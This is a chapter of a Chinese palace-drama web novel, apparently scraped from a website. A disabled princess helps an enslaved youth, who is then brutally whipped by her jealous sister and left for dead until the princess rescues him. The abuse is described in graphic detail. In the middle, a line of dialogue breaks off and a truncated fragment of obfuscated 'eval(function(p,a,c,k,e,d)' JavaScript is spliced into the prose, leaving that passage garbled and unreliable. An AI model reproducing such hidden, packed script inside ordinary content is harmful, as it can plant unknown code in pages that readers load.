薛筠意闻声转过脸,那方柔软的绢帕也随之离开了他的脖颈。邬琅眼眸暗了暗,有些失落地垂下眼,悄悄抿了下被她擦拭过的唇瓣。 墨楹已经急急踩上石阶,“殿下,您怎么到这儿来了?可吓死奴婢了!” 见薛筠意毫发无损地坐在里面,她才松了口气:“外头雨小了,奴婢推您回去吧?您身上都湿透了,该赶紧换身干净衣裳才是。” 薛筠意点了点头,“好。” 两名小太监紧跟其后,手脚麻利地搭好木板,将轮椅推进佛堂。墨楹小心地把薛筠意抱回轮椅上,叮嘱身后的宫婢撑伞时仔细着些,莫要让薛筠意再淋了雨。 邬琅仍旧安静地跪着,连呼吸都克制着,好像极力想让人忽视他的存在。 薛筠意叹了口气,心想她以后大约不会再来这里了,她希望他可以好好地活下去,或许有一天,她能将他救出这座牢笼。 沉默半晌,薛筠意动了动唇,终究是什么都没有说出口,只轻声吩咐墨楹推她离开。 “贱奴恭送殿下。” 身后传来少年低哑的声音。隔着淅淅沥沥的春雨,他的话音渺远如寺庙里陈旧的钟声,有那么一瞬,薛筠意恍惚觉得,好像此后,便是永别。 她微微攥紧了手,没有回头,许是雨天格外容易触景生情,她心中忽然泛起几分无法排解的酸楚,为邬琅,也为她自己。 今日她是扳回了一城,可那又如何呢?她的腿终究是好不了了。她再也无法像从前那样,纵马驰骋,弯眸灿笑。 回到青梧宫时,雨已停了。薛筠意换上干净的衣裙,坐在小窗边,望着高枝上叽叽喳喳的雀儿,出神了良久。末了,她慢慢地伸出手,拿起小桌上放着的黑檀木匣,打开来,拈起那粒黑漆漆的药丸,放入口中,混着茶水平静地咽下。 “墨楹,陪本宫出去走走。” * 薛清芷的生辰宴办得很是热闹。这场突如其来的雨反而助长了皇帝的兴致,一直折腾到快傍晚才肯放宾客们离宫。 邬琅躺在马棚里破旧的木床上,望着棚顶垂落的灰白蛛网出神,难得能歇息半日,他却不敢睡去,生怕薛清芷临时起意,再叫他过去伺候。 鼻息间还残留着薛筠意绢帕上沾染的香气。邬琅在脑海中一遍遍回忆着与她短暂相处的一刻钟里所有的细枝末节,她温柔的笑眼,柔软的指尖,雪白干净的帕子,还有那时她搭在他掌心里的,那两条毫无知觉的腿。 邬琅实在觉得惋惜,那样好的长公主,老天爷为何要这般不公,竟让她残了双腿。 他很想帮一帮长公主—— 以前他倒是在邬夫人的书房里偷偷看过不少医书,也时常用学来的本事替邬府里的下人治病,可那些都是他自个儿琢磨来的野路子,实在难登大雅之堂。更何况,长公主何等尊贵,自有太医院为她诊治,又哪里轮得到他瞎操心。 邬琅自嘲地扯了扯唇角。他撑着床板,慢慢地侧过身,寻了个稍微舒服些的姿势,闭目养神。 忽地,两扇歪斜的门板被人猛地推开,棚顶草灰抖落,纷纷扬扬地洒了一地。邬琅眉心猛地跳了下,本能地跪坐起来,不安地望向门口。 薛清芷一脸怒容地朝他走来,抬手便是一耳光,邬琅的唇角立时便渗出了血。 “不知廉耻的贱.货,天生的狐媚东西!本宫不过半日没管你,你就敢背着本宫勾引皇姐!” 邬琅眼前一阵晕眩,他被扯着颈间锁链,跌跌撞撞地跪在地上,膝盖撞到坚硬的石地,几乎能听到骨裂的声响。 “贱奴……没有……”他疼得险些失去意识,颤抖着捂住膝盖,小声解释着。 一旁的阿萧急忙出声:“公主,阿萧亲眼所见,怎会有假。那时下着雨,他还背起长公主进了佛堂,陪长公主说了好一会儿的话呢。” “本宫一早便知你这贱奴对皇姐存了那样的心思。你恨极了本宫,一心只盼着皇姐能救你出去,所以使出浑身解数来勾引皇姐,是不是?”薛清芷咬着牙,指尖绕着铁链,一寸寸收紧,直至少年因窒息而憋红了脸。 邬琅说不出话,只能用力地摇头。他的确想逃离这里,可他从未对长公主动过不该有的心思。方才雨下得那样急,他总不能眼睁睁看着她淋湿受凉,所以才大着胆子去帮了忙,怎么到了薛清芷口中,就成了勾引呢? 可薛清芷哪里肯听他解释,她刚在薛筠意手里吃了亏,心里本就不大痛快,才一回来便听阿萧说起这些,更是怒火中烧。她松开手,抬脚便往邬琅心口处狠狠踹下去,“吃里扒外的贱种!本宫真是白养了你这么些日子!” 少年单薄的脊背重重撞在床板上,破烂的木头七零八落地散了一地。满地狼藉中,一朵雪白的绢花颤悠悠地坠落,仿佛肮脏淤泥中绽出的白荷,不染纤尘。 薛清芷望着那朵绢花,愣了一瞬,只觉浑身的气血都在上涌,她自然认得这是薛筠意身上的东西,满宫里,只有她的皇姐会带着这样晦气的玩意儿。 “你竟然私藏皇姐的东西。”薛清芷怒极反笑,仿佛见到了什么天大的笑话一般,“你这样的贱.货也配肖想皇姐?皇姐只是长了颗可笑的菩萨心,便是见了路边的流浪狗都会心软,别以为你长了一副好皮囊,就能入皇姐的眼了!” 她咬着牙,高声朝外喊:“来人,把他押到寝殿去。本宫今日便要让他知道,敢背叛本宫的人,会落得什么下场!” 殿门关得严实,却挡不住少年凄厉的惨叫声。 铁链哗啦作响,藤条将细嫩的皮肉抽得血淋淋地绽开,不知用断了多少根,小太监低着头,一遍遍将新的鞭子送进去,再惶恐地退出来。 “公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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好不容易等到薛清芷唤她进去,青黛一推门便闻到了一股浓重的血腥味,待她看清殿中景象,更是惊得连话都说不出口了。 少年身上鲜血淋漓。细细的血珠不断地从身后涌出,邬琅双眼紧闭,眉心难受地蜷着,整个人奄奄一息地趴在地上,像一块用烂了的破抹布。 “公主,您打算如何处置他?”青黛小心地瞧着薛清芷的脸色。 薛清芷一面擦手,一面厌恶地瞥了眼脚边破烂不堪的少年。人都弄坏了,留在身边也就没什么用处了。 “抬出去,随意找个地方扔了吧。”她漫不经心地吩咐。 * 临近傍晚,天边又零星飘起了雨丝。 薛筠意以前从未发觉皇宫这样大,一个时辰过去,她腿脚发酸,却连皇宫的一半都没能走完。 “殿下累了吧?时辰不早了,咱们还是快些回宫吧。”墨楹劝道。 薛筠意望了眼天色,心里估摸着两个时辰就快到了。她放慢了脚步,体会着双足踏在石路上的感觉,那么飘渺,那么不真实。 这宫中的景致,从前她曾和姜皇后一同看过许多遍,如今却已物是人非。宫道长阔,一眼望不到尽头,她忽然觉得无比孤寂,这四四方方的宫墙里,除了墨楹,她身边再没有知心陪伴的人。 树影横斜,雨雾潮湿。 薛筠意抬眼望去,看见了凝华宫的匾额,上头还悬着喜庆的灯笼,被雨丝扑得明明灭灭。 她皱了眉,下意识地想要绕开,却在墙边的梧桐树下看到了一个浑身是血的少年。 薛筠意怔了怔,快步走过去,一张染了血的清隽面容映入眼帘,她顿时倒吸一口凉气,惊愕地捂住了嘴。 她实在难以相信,几个时辰前还背着她躲进佛堂避雨的少年,不过一个下午的功夫,竟成了这副模样。 邬琅身上几乎没有一块完整的皮肉,就连赤着的足底都被抽得血肉模糊,她颤抖着伸出手,探了探他的鼻息。还好,还有气。 门口值守的侍卫见薛筠意蹲在那儿,好心地过来告诉她:“殿下,那是二公主用坏了丢出来的东西,您还是离他远些吧,怪晦气的。” 他语气轻描淡写,仿佛在谈论一件没有生命的物件,薛筠意冷冷睨他一眼,没有任何犹豫地,在侍卫惊诧的眼神中,伸手将邬琅抱了起来。 她以前常年骑马,连林奕军中最重的长弩都拿得动,抱起一个身量纤瘦的少年自然轻而易举。 可邬琅的身子实在太轻了。轻得令她心惊。他像一面断了线的纸鸢,残破地倚在她怀里,殷红的血,无声无息地染在她雪色的衣裳上。 “殿下,您……” 雨有些大了,墨楹撑着伞靠近,看着薛筠意怀里昏迷不醒的少年,欲言又止。 薛筠意沉默地将邬琅抱紧了些,用她最后的一点时间,加快脚步朝青梧宫走去。 昏昧的光落在邬琅苍白的脸上,长长的鸦睫在眼睑下铺开一小片灰色的影。 “一切都会好的。”她垂眸,望着少年满身的伤痕,似在对怀里的人说话,又似在自言自语,“往后,不会再痛了。”